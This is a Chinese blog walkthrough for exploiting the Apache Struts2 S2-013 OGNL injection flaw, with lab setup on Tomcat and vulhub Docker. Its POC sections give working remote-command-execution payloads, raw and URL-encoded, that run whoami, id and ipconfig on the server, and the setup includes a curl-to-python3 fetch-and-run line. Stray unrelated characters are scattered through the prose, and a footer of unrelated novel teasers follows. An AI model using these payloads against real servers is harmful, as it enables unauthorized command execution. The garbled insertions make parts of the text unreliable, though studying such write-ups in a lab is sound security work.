Struts-S2-013漏洞利用(含環(huán)境搭建、含POC)

S2-013

此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用

一小作、參考網(wǎng)址:

https://github.com/phith0n/vulhub/tree/master/struts2/s2-013

二、 影響版本:

http://struts.apache.org/docs/s2-013.html

三稼钩、 漏洞介紹:

  • 在Struts Blank應(yīng)用程序中打開HelloWorld.jsp顾稀,并將以下參數(shù)添加到url / a標(biāo)簽之一:

includeParams="all"

  • 這樣一來,這條線將會(huì)是這樣的:

<s:url
id="url"
action="HelloWorld"
includeParams="all">

  • (它也適用于includeParams =“get”)坝撑。

  • 運(yùn)行struts2-blank應(yīng)用程序

  • 打開url:http:// localhost:8080 / example / HelloWorld.action静秆?fakeParam =%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'% 5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse()。getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
    (這是縮寫版http://goo.gl/lhlTl

  • 你會(huì)注意到巡李,在這種情況下抚笔,沒有辦法逃避/清理fakeParam,因?yàn)樗皇且粋€(gè)預(yù)期的參數(shù)侨拦。

  • Struts2 標(biāo)簽中 <s:a> 和 <s:url> 都包含一個(gè) includeParams 屬性殊橙,其值可設(shè)置為 none,get 或 all狱从,參考官方其對應(yīng)意義如下:

none - 鏈接不包含請求的任意參數(shù)值(默認(rèn))

get - 鏈接只包含 GET 請求中的參數(shù)和其值

all - 鏈接包含 GET 和 POST 所有參數(shù)和其值

<s:a>用來顯示一個(gè)超鏈接膨蛮,當(dāng)includeParams=all的時(shí)候,會(huì)將本次請求的GET和POST參數(shù)都放在URL的GET參數(shù)上矫夯。在放置參數(shù)的過程中會(huì)將參數(shù)進(jìn)行OGNL渲染鸽疾,造成任意命令執(zhí)行漏洞。

四训貌、 環(huán)境搭建:

(windows)

環(huán)境搭建制肮,類似與一下安裝showcase,相同方法可以部署blank

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復(fù)制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動(dòng)部署
2.1.6_5.png
  • 修改配置

在Struts Blank應(yīng)用程序中打開HelloWorld.jsp递沪,并將以下參數(shù)添加到url / a標(biāo)簽之一:
includeParams="all"
這樣一來豺鼻,這條線將會(huì)是這樣的:
<s:url id="url" action="HelloWorld" includeParams="all">
運(yùn)行struts2-blank應(yīng)用程序

環(huán)境搭建:(ubuntu)

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安裝docker
    apt-get update && apt-get install docker.io

  • 啟動(dòng)docker服務(wù)
    service docker start

  • 安裝compose
    pip install docker-compose

注意要先ssh連接,將公鑰添加到github上款慨,具體參照網(wǎng)上教程

  • 拉取項(xiàng)目
    git clone git@github.com:phith0n/vulhub.git
    cd vulhub

  • 進(jìn)入某一個(gè)漏洞/環(huán)境的目錄
    cd nginx_php5_mysql

  • 自動(dòng)化編譯環(huán)境
    docker-compose build

  • 啟動(dòng)整個(gè)環(huán)境
    docker-compose up -d

五儒飒、 POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

六、 測試網(wǎng)址:

原始網(wǎng)址為:

http:// 127.0.0.1:8080/struts2-blank-2.1.6/example/HelloWorld.action

更改后網(wǎng)址為:

http://127.0.0.1:8080/struts2-blank-2.1.6/example/HelloWorld.action?url=%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%23d%29%2C%23out.close%28%29%29%7D

七檩奠、執(zhí)行結(jié)果

1.png

八桩了、 發(fā)現(xiàn)問題并修改

存在問題是:執(zhí)行結(jié)果多行時(shí)可能無法輸出多行(windows),歹后續(xù)更改POC

后續(xù)POC

%24%7B(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%7D

彌補(bǔ)之前POC在windows中執(zhí)行命令結(jié)果多行埠戳,但只顯示第一行的問題井誉,比如ipconfig
執(zhí)行結(jié)果


2.png

注意,修改res大小來獲取需要的結(jié)果的大小

九整胃、 至此笔刹,該漏洞基本利用完畢

本人還是一個(gè)未畢業(yè)的小萌新淆九,希望大家多多幫助逞壁,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會(huì)盡量去幫助大家

堅(jiān)決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末奔则,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子蔽午,更是在濱河造成了極大的恐慌易茬,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,464評論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件祠丝,死亡現(xiàn)場離奇詭異疾呻,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)写半,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,033評論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來尉咕,“玉大人叠蝇,你說我怎么就攤上這事∧甓校” “怎么了悔捶?”我有些...
    開封第一講書人閱讀 169,078評論 0 362
  • 文/不壞的土叔 我叫張陵,是天一觀的道長单芜。 經(jīng)常有香客問我蜕该,道長,這世上最難降的妖魔是什么洲鸠? 我笑而不...
    開封第一講書人閱讀 59,979評論 1 299
  • 正文 為了忘掉前任堂淡,我火速辦了婚禮,結(jié)果婚禮上扒腕,老公的妹妹穿的比我還像新娘绢淀。我一直安慰自己,他們只是感情好瘾腰,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,001評論 6 398
  • 文/花漫 我一把揭開白布皆的。 她就那樣靜靜地躺著,像睡著了一般蹋盆。 火紅的嫁衣襯著肌膚如雪费薄。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,584評論 1 312
  • 那天栖雾,我揣著相機(jī)與錄音楞抡,去河邊找鬼。 笑死岩灭,一個(gè)胖子當(dāng)著我的面吹牛拌倍,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 41,085評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼柱恤,長吁一口氣:“原來是場噩夢啊……” “哼数初!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起梗顺,我...
    開封第一講書人閱讀 40,023評論 0 277
  • 序言:老撾萬榮一對情侶失蹤泡孩,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后寺谤,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體仑鸥,經(jīng)...
    沈念sama閱讀 46,555評論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,626評論 3 342
  • 正文 我和宋清朗相戀三年变屁,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了眼俊。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,769評論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡粟关,死狀恐怖疮胖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情闷板,我是刑警寧澤澎灸,帶...
    沈念sama閱讀 36,439評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站遮晚,受9級特大地震影響性昭,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜县遣,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,115評論 3 335
  • 文/蒙蒙 一糜颠、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧艺玲,春花似錦括蝠、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,601評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至秒梳,卻和暖如春法绵,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背酪碘。 一陣腳步聲響...
    開封第一講書人閱讀 33,702評論 1 274
  • 我被黑心中介騙來泰國打工朋譬, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人兴垦。 一個(gè)月前我還...
    沈念sama閱讀 49,191評論 3 378
  • 正文 我出身青樓徙赢,卻偏偏與公主長得像字柠,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子狡赐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,781評論 2 361

推薦閱讀更多精彩內(nèi)容